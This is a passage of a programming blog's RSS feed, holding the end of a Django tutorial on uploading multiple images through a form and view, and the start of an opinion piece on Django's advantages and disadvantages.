style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.template.backends.django.DjangoTemplates&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DIRS&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;templates&amp;#39;&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;APP_DIRS&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;context_processors&amp;#39;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.template.context_processors.debug&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.template.context_processors.request&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.auth.context_processors.auth&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.messages.context_processors.messages&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;a-form-to-upload-multiple-images-in-django&#34;&gt;A form to upload multiple images in Django&lt;/h2&gt;&#xA;&lt;p&gt;To make our input accept multiple images we add the &lt;em&gt;multiple&lt;/em&gt; attribute to our &lt;em&gt;input&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;Remember to add the POST method and the &lt;strong&gt;&lt;em&gt;{% csrf_token %}&lt;/em&gt;&lt;/strong&gt; tag so that your form is protected.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lang&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;Document&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;method&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;enctype&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;multipart/form-data&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% csrf_token %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;images&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiple&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt;&amp;gt;Send&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt;&amp;gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;creating-a-view-uploading-multiple-images-in-django&#34;&gt;Creating a view uploading multiple images in Django&lt;/h2&gt;&#xA;&lt;p&gt;Now in our gallery application, let&amp;rsquo;s modify the views file to create the view that will handle our image upload.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.http &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; JsonResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; gallery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handleMultipleImagesUpload&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;method &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;FILES&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getlist(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;images&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; images:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            gallery&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(image &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; image)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        uploaded_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; gallery&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; JsonResponse({&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;images&amp;#34;&lt;/span&gt;: [{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;url} &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; uploaded_images]})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; render(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;index.html&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we make a POST request to this view we will get the list of images we uploaded, then we will create a new object for each image we uploaded and return the list of images with their respective url as a JSON response. Otherwise we will render the form and return it.&lt;/p&gt;&#xA;&lt;p&gt;With the view already created, just add the url to our &lt;em&gt;urls.py&lt;/em&gt; file in our project folder.&lt;/p&gt;&#xA;&lt;h2 id=&#34;adding-the-url&#34;&gt;Adding the url&lt;/h2&gt;&#xA;&lt;p&gt;To facilitate the process we will import the view directly and assign it to the &lt;em&gt;upload/&lt;/em&gt; url&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; gallery.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; handleMultipleImagesUpload&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;upload/&amp;#39;&lt;/span&gt;, handleMultipleImagesUpload, name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;home&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now access the &lt;em&gt;upload/&lt;/em&gt; address we will see our upload button and we will be able to upload multiple images.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-upload-multiple-images-in-django/images/subida-multiple-de-imagenes.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-upload-multiple-images-in-django/images/subida-multiple-de-imagenes.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;multiple-image-upload in django&#34; width=&#34;735&#34; height=&#34;420&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If the upload was successful we will get as a response a JSON with the addresses of the images we just uploaded.&lt;/p&gt;&#xA;&lt;p&gt;Here we use Django to render the form. However, as you may know, instead of rendering a form, you can constrain the function to act as an API. And then consume it by making a POST request with javascript.&lt;/p&gt;&#xA;&lt;p&gt;Finally, if you want to go deeper into the functionality of Django&amp;rsquo;s &lt;em&gt;ImageField&lt;/em&gt; fields, check out &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/ref/models/fields/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;You probably already know how to upload an image using a Django model, but what if we don&amp;rsquo;t want to upload one but multiple images in Django Framework?&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-installation&#34;&gt;Django installation&lt;/h2&gt;&#xA;&lt;p&gt;First we install Django using pipenv. We will also install Pillow since we will be dealing with images.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django Pillow&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Next we will create a new project and enter the newly created folder.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Why should you use Django Framework?</title>
      <link>https://coffeebytes.dev/en/django/why-should-you-use-django-framework/</link>
      <pubDate>Wed, 24 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/why-should-you-use-django-framework/</guid>
      
      <category>django</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Why to use Python Framework like Django in a world where everything is Javascript? Is it really worth learning such framework in an ecosystem that insists on Frameworks written in Javascript? Well, I think so, and here are some of the reasons why you should use Django. And, in order not to lose objectivity, I will talk about the advantages as well as the disadvantages; you know that no solution is perfect.&lt;/p&gt;&#xA;&lt;h2 id=&#34;is-django-a-backend-framework-or-a-frontend-framework&#34;&gt;Is django a backend framework or a frontend framework?&lt;/h2&gt;&#xA;&lt;p&gt;Django is a full-stack framework that can be used solely for backend. What makes it a full-stack framework is that it has a template engine with its own syntax, able to generate HTML on the fly, but it&amp;rsquo;s completely optional, you can configure it to serve only JSON or any other type of API response you want and use React, Vue, Jquery, or whatever you want, on the frontend instead.&lt;/p&gt;&#xA;&lt;h2 id=&#34;advantages-and-disadvantages-of-django-tldr&#34;&gt;Advantages and disadvantages of Django TLDR&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disadvantages of Django&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Django is a monolith&lt;/li&gt;&#xA;&lt;li&gt;Django is slow&lt;/li&gt;&#xA;&lt;li&gt;Django&amp;rsquo;s learning curve is high&lt;/li&gt;&#xA;&lt;li&gt;Django&amp;rsquo;s ORM is not asynchronous&lt;/li&gt;&#xA;&lt;li&gt;Django requires you to know Python in addition to Javascript&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Advantages of Django&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Django&amp;rsquo;s ORM is very complete&lt;/li&gt;&#xA;&lt;li&gt;Most security issues are solved&lt;/li&gt;&#xA;&lt;li&gt;Authentication, messaging, caching, permissions, admin panel, form handling, i18n included&lt;/li&gt;&#xA;&lt;li&gt;Stable, mature framework with a long track record&lt;/li&gt;&#xA;&lt;li&gt;Allows to iterate and create MVPs very fast in startups&lt;/li&gt;&#xA;&lt;li&gt;Perfect to combine with Machine Learning&lt;/li&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you want to delve into one in particular read on.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-advantages-of-django&#34;&gt;The advantages of Django&lt;/h2&gt;&#xA;&lt;p&gt;Django is a &lt;em&gt;batteries included&lt;/em&gt; framework, that covers practically all the needs of an interactive website, from protection against the most common attacks such as SQL injection, CSRF, XSS, COOP. Furthermore, it offers form validation in the backend, caching, i18n, messages, flatpages and practically a solution to all common problems that arise when developing a medium or large website.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re one of those developers who love &lt;strong&gt;getting shit done without having to reinvent the wheel&lt;/strong&gt; over and over again, you&amp;rsquo;re going to love Django.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;its-orm-is-simple-and-wonderful&#34;&gt;Its ORM is simple and wonderful&lt;/h3&gt;&#xA;&lt;p&gt;Django&amp;rsquo;s ORM abstracts away the need to write SQL queries to create tables and query data. It is quite intuitive to use and has almost all the most common queries included in its code. From filtering, partitioning, joins and even &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;advanced Postgres lookups&lt;/a&gt;&#xA; functions and migration handling.&lt;/p&gt;&#xA;&lt;p&gt;To create a table in the database just create a class that inherits from &lt;em&gt;models.Model&lt;/em&gt; and Django will do all the heavy lifting.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Review&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    comment &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span 